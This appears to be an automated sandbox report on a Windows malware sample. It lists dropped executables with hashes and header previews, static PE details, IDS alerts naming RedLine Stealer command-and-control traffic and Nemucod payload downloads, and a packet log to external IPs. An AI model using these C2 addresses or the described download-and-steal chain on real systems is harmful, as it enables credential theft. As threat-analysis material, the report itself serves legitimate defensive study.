SHA-512:	2E01FDE9A007D9ACCECF63723594DF13415DC2C6B686D8301C4C0F9AD8E4BEA287837C1169E9232EE6122A1DEFC21BEF6F5AEC852969FAE4047F9917014B63BD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................$..........................@..........................p............@... .............................. ..T....P.......................`..\.................................................... ...............................text...............................`.P`.data...............................@.`..rdata..............................@.0@.bss..................................0..idata..T.... ......................@.0..CRT....4....0......................@.0..tls.........@......................@.0..rsrc........P......................@.0..reloc..\....`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rgrsiwf

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264704
Entropy (8bit):	6.889925195152789
Encrypted:	false
SSDEEP:	3072:k7aImwKAwTiVOLpNef3exrtDdoEEK2vmyeRZUvCSg8679SjLrS5h9M08GW:C/m+VOLre3ef+vmyeRZ4HnayLKSl
MD5:	EE30406C7F005C757653677C3CA0B779
SHA1:	0BEE5CFEC20FCCA2E94491D213C5955654F9130C
SHA-256:	3595C78C59A2B6DC06113F757F9B7E87BC0BCD447CD2036DA1033FB4FA901482
SHA-512:	69CCD7B98E6C7941B3BCCADC53FDAD60C1A45E812B28CFB1DCFAE65A4B576FB321CE609B342FBEE3EA2D95417AB1B198F0A6DFD3D9F519C491CC53B71224C26B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 35%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F..............I......X.4...._.\|..%<.............V......H......M....Rich...................PE..L...$..a......................-.............. ....@..........................@0.................................................d....`/.......................0.p...p................................:..@............................................text...*........................... ..`.data....3,.. ...0..................@....rsrc........`/......6..............@..@.reloc..v;....0..<..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rgrsiwf:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Temp\123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\66CA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1200128
Entropy (8bit):	2.9725106185648
Encrypted:	false
SSDEEP:	6144:BOsITft4c1D9zb62mlIu/AO+SpVCVy6cc3oxPeeKP76Cl:BO3rt59QNIk6do46C
MD5:	067B24F2A101E4B49D45E14F81D41EDB
SHA1:	061AF5887053097F86F6D8F01076AF1624BE2EDF
SHA-256:	849714E42FEC819E12533675437EF5DDA0536D5AB92386AF48A8FA4A6DA3DB90
SHA-512:	1A80B9C10B724EF06779B7B3522F9354730DC406FAFCC4A5428D83C1F05BCF8CF1AD3FDC9F6BD6FDD2C01A556E2315D019826740E35D37BF52002E970334202C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T@e..!.F.!.F.!.F.J.G.!.F.J.G.!.F.J.G.!.F.J.G.!.F.!.FH!.Fp[.G.!.Fp[.G.!.Fp[.G[!.Ft[.G.!.Ft[.F.!.Ft[.G.!.FRich.!.F........PE..L......d............... ....................@....@.......................................@..................................(..(.... .......................0......p...................................@............@..4............................text....)......................... ..`.rdata.......@.......0..............@..@.data...h....0....... ..............@....rsrc........ ......................@..@.reloc.......0......................@..B.live1...<...P...>..................`. .........................................................................................................................................................................................................................................................................

C:\Windows\Temp\321.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\66CA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2072576
Entropy (8bit):	5.453619241541008
Encrypted:	false
SSDEEP:	49152:PdTv+cbh/xFA94HZei5KUolvexjanU6LVWh:PdTvTo9ugEKUolvexjanU6LVW
MD5:	5B87AD276E221A90FF038CB69929F321
SHA1:	CE5CD78AAEA9D0136F114EDB0D98E4583291B0AC
SHA-256:	FAB053BDBA1432A468E48639FFE50B44ADA624A139137AE7D55559DD05CAEAE0
SHA-512:	D9DB970E877D9FE2F252325B900ADDFD2E57B58F34F7BBB28434A2747E992069FAB004D537E2315DE484CDF91F9ABE7B1A1AFB49FC81E32A10D301703D8D6E4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 36%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T@e..!.F.!.F.!.F.J.G.!.F.J.G.!.F.J.G.!.F.J.G.!.F.!.FH!.Fp[.G.!.Fp[.G.!.Fp[.G[!.Ft[.G.!.Ft[.F.!.Ft[.G.!.FRich.!.F........PE..L......d............... ....@...............@....@.......................................@..................................(..(....p..............................p...................................@............@..4............................text....)......................... ..`.rdata.......@.......0..............@..@.data...h1...0...$... ..............@....rsrc........p.......D..............@..@.reloc...............F..............@..B.live1...<.......>...b..............`. .........................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.44831826838854
Encrypted:	false
SSDEEP:	24:zKLXkb4DObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0b4DQntKKH1MqJC
MD5:	1AEB3A784552CFD2AEDEDC1D43A97A4F
SHA1:	804286AB9F8B3DE053222826A69A7CDA3492411A
SHA-256:	0BC438F4B1208E1390C12D375B6CBB08BF47599D1F24BD07799BB1DF384AA293
SHA-512:	5305059BA86D5C2185E590EC036044B2A17ED9FD9863C2E3C7E7D8035EF0C79E53357AF5AE735F7D432BC70156D4BD3ACB42D100CFB05C2FB669EA22368F1415
Malicious:	false
Reputation:	unknown
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.7.3056.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.889925195152789
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	264704
MD5:	ee30406c7f005c757653677c3ca0b779
SHA1:	0bee5cfec20fcca2e94491d213c5955654f9130c
SHA256:	3595c78c59a2b6dc06113f757f9b7e87bc0bcd447cd2036da1033fb4fa901482
SHA512:	69ccd7b98e6c7941b3bccadc53fdad60c1a45e812b28cfb1dcfae65a4b576fb321ce609b342fbee3ea2d95417ab1b198f0a6dfd3d9f519c491cc53b71224c26b
SSDEEP:	3072:k7aImwKAwTiVOLpNef3exrtDdoEEK2vmyeRZUvCSg8679SjLrS5h9M08GW:C/m+VOLre3ef+vmyeRZ4HnayLKSl
TLSH:	1C44CF12B6E1E873D85B45754825C6F86D3BBC709B548ACB37842B7E2E313D2DA36306
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.................I.......X.4....._.\|...%<................V.......H.......M.....Rich....................PE..L...$..a...........

File Icon


Icon Hash:	f48e7292828a8eb0

Static PE Info

General

Entrypoint:	0x408609
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61A40724 [Sun Nov 28 22:48:04 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	58071948c33b7dec9bea638ac45f94ca

Entrypoint Preview

Instruction
call 00007F114D2C5807h
jmp 00007F114D2BDFFEh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F114D2BE1A6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F114D2BE1D0h
test ecx, 00000003h
jne 00007F114D2BE171h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F114D2BE16Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F114D2BE1B4h
test ah, ah
je 00007F114D2BE1A6h
test eax, 00FF0000h
je 00007F114D2BE195h
test eax, FF000000h
je 00007F114D2BE184h
jmp 00007F114D2BE14Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword ptr [006F5308h]
call 00007F114D2C3C95h
push dword ptr [006F5304h]
mov edi, eax
mov dword ptr [ebp-04h], edi
call 00007F114D2C3C85h
mov esi, eax

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x303b8	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2f6000	0x9700	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x300000	0x1370	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1270	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3ac8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x21c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3002a	0x30200	False	0.739650974025974	data	7.432579762443802	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x32000	0x2c3318	0x3000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2f6000	0x9700	0x9800	False	0.41974198190789475	data	4.712774038134085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x300000	0x3b76	0x3c00	False	0.2698567708333333	data	2.955022316144134	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x2fcd68	0x2	data
AFX_DIALOG_LAYOUT	0x2fcd58	0xe	data
RT_CURSOR	0x2fcd70	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0
RT_CURSOR	0x2fd0a0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0
RT_CURSOR	0x2fd1f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0
RT_CURSOR	0x2fe0a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_CURSOR	0x2fe948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0
RT_ICON	0x2f6520	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Spanish	Mexico
RT_ICON	0x2f73c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Spanish	Mexico
RT_ICON	0x2f7c70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Mexico
RT_ICON	0x2f8338	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Mexico
RT_ICON	0x2f88a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Spanish	Mexico
RT_ICON	0x2fae48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Mexico
RT_ICON	0x2fbef0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Spanish	Mexico
RT_ICON	0x2fc878	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Mexico
RT_DIALOG	0x2ff0c0	0xe8	data
RT_STRING	0x2ff1a8	0x1cc	data
RT_STRING	0x2ff378	0x384	data
RT_GROUP_CURSOR	0x2fd1d0	0x22	data
RT_GROUP_CURSOR	0x2feeb0	0x30	data
RT_GROUP_ICON	0x2fcce0	0x76	data	Spanish	Mexico
RT_VERSION	0x2feee0	0x1e0	data

Imports

DLL	Import
KERNEL32.dll	SetDefaultCommConfigW, CreateHardLinkA, WaitForSingleObjectEx, FreeEnvironmentStringsA, EnumCalendarInfoExW, GetConsoleTitleA, ReadConsoleW, GetCompressedFileSizeW, GetConsoleAliasExesW, WaitNamedPipeW, SetHandleCount, LoadLibraryW, GetConsoleMode, InterlockedPopEntrySList, GetStringTypeExW, lstrcpynW, FindNextVolumeW, Beep, GetFileAttributesW, WriteConsoleW, CreateActCtxA, IsBadStringPtrA, WritePrivateProfileStringW, GetConsoleAliasesW, GetStdHandle, ChangeTimerQueueTimer, SetLastError, GetProcAddress, GlobalSize, EnumSystemCodePagesW, CreateMemoryResourceNotification, SearchPathA, LoadLibraryA, LocalAlloc, DnsHostnameToComputerNameA, AddAtomW, BeginUpdateResourceA, WriteProfileSectionW, FoldStringW, EnumResourceTypesW, GetModuleFileNameA, GetModuleHandleA, GetCommTimeouts, QueryPerformanceFrequency, DeleteFileW, DebugBreak, ReadConsoleOutputCharacterW, FlushFileBuffers, CloseHandle, CreateFileA, GetConsoleOutputCP, WriteConsoleA, SetStdHandle, GetLocaleInfoW, GetCommState, GetConsoleAliasExesLengthA, VirtualQuery, FindResourceExW, GetNumaProcessorNode, VirtualAlloc, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetLastError, HeapFree, MultiByteToWideChar, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, LCMapStringA, WideCharToMultiByte, LCMapStringW, GetCPInfo, GetModuleHandleW, ExitProcess, WriteFile, HeapAlloc, HeapCreate, VirtualFree, HeapReAlloc, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapSize, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetStringTypeA, GetStringTypeW, InitializeCriticalSectionAndSpinCount, SetFilePointer, GetConsoleCP
USER32.dll	ToAsciiEx, GetKeyNameTextA, LoadMenuA, IsWindowEnabled, DrawEdge, GetScrollInfo, GetWindowLongA, LoadBitmapW, ModifyMenuA
GDI32.dll	GetCharABCWidthsA, CreateDiscardableBitmap, GetCharWidthI
ADVAPI32.dll	GetEventLogInformation, SetKernelObjectSecurity

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Mexico

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.451.210.161.2149743361082043233 03/24/23-01:27:46.146671	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49743	36108	192.168.2.4	51.210.161.21
91.227.16.21192.168.2.480497262018572 03/24/23-01:27:09.404209	TCP	2018572	ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families)	80	49726	91.227.16.21	192.168.2.4
192.168.2.491.227.16.2149726802022482 03/24/23-01:27:09.344120	TCP	2022482	ET TROJAN JS/Nemucod requesting EXE payload 2016-02-01	49726	80	192.168.2.4	91.227.16.21
192.168.2.48.8.8.852825532014169 03/24/23-01:27:09.182581	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	52825	53	192.168.2.4	8.8.8.8
51.210.161.21192.168.2.436108497432043234 03/24/23-01:27:48.342927	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	36108	49743	51.210.161.21	192.168.2.4
192.168.2.451.210.161.2149743361082043231 03/24/23-01:28:11.891296	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49743	36108	192.168.2.4	51.210.161.21
91.227.16.21192.168.2.480497262021954 03/24/23-01:27:09.404209	TCP	2021954	ET TROJAN JS/Nemucod.M.gen downloading EXE payload	80	49726	91.227.16.21	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2023 01:26:42.003057003 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:42.245637894 CET	80	49695	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:42.245765924 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:42.246368885 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:42.246409893 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:42.488714933 CET	80	49695	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:43.507014036 CET	80	49695	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:43.507075071 CET	80	49695	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:43.507261038 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:43.532428026 CET	49695	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:43.774935961 CET	80	49695	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:45.269602060 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.333044052 CET	80	49696	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:45.333209991 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.394186974 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.394238949 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.451626062 CET	80	49696	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:45.627907038 CET	80	49696	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:45.628024101 CET	80	49696	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:45.628098011 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.628098965 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.641396046 CET	49696	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:45.696805000 CET	80	49696	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:46.135313034 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.191488981 CET	80	49697	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:46.191700935 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.210685968 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.210747957 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.267836094 CET	80	49697	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:46.449074984 CET	80	49697	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:46.450123072 CET	80	49697	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:46.450200081 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.456178904 CET	49697	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:46.511598110 CET	80	49697	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:47.732368946 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.787880898 CET	80	49698	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:47.787997961 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.799523115 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.799570084 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.854055882 CET	80	49698	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:47.956835032 CET	80	49698	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:47.956916094 CET	80	49698	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:47.957005024 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.957075119 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:47.978405952 CET	49698	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.034158945 CET	80	49698	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.414046049 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.470175028 CET	80	49699	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.470278978 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.470540047 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.470572948 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.525207043 CET	80	49699	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.608983994 CET	80	49699	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.609016895 CET	80	49699	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.609061003 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.609143972 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.609165907 CET	49699	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:48.657596111 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:48.665204048 CET	80	49699	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:48.911945105 CET	80	49700	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:48.912123919 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:48.912365913 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:48.912401915 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:49.166376114 CET	80	49700	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:49.890492916 CET	80	49700	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:49.890552998 CET	80	49700	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:49.890655994 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:49.890747070 CET	49700	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:49.936033010 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:49.996639967 CET	80	49701	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:49.996975899 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:49.997375011 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:49.997453928 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.057892084 CET	80	49701	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.139319897 CET	80	49701	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.139394045 CET	80	49701	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.139579058 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.139681101 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.139681101 CET	49701	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.145267963 CET	80	49700	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:50.195347071 CET	80	49701	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.215857029 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.271816969 CET	80	49702	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.272109032 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.272782087 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.272862911 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.329216003 CET	80	49702	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.427974939 CET	80	49702	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.428040981 CET	80	49702	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.428541899 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.428541899 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.431569099 CET	49702	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:50.476406097 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:50.486618996 CET	80	49702	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:50.743746996 CET	80	49703	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:50.743938923 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:50.744440079 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:50.744502068 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:51.011682987 CET	80	49703	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:53.524363995 CET	80	49703	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:53.524611950 CET	80	49703	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:53.525398016 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:53.525454044 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:53.640265942 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.696660995 CET	80	49704	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:53.696837902 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.715359926 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.715406895 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.770415068 CET	80	49704	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:53.951466084 CET	80	49704	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:53.951508999 CET	80	49704	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:53.951658964 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.951785088 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.951786041 CET	49704	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:53.991585016 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.007702112 CET	80	49704	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.047707081 CET	80	49705	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.047837973 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.063630104 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.088969946 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.144155025 CET	80	49705	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.214171886 CET	80	49705	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.215210915 CET	80	49705	109.98.58.98	192.168.2.4
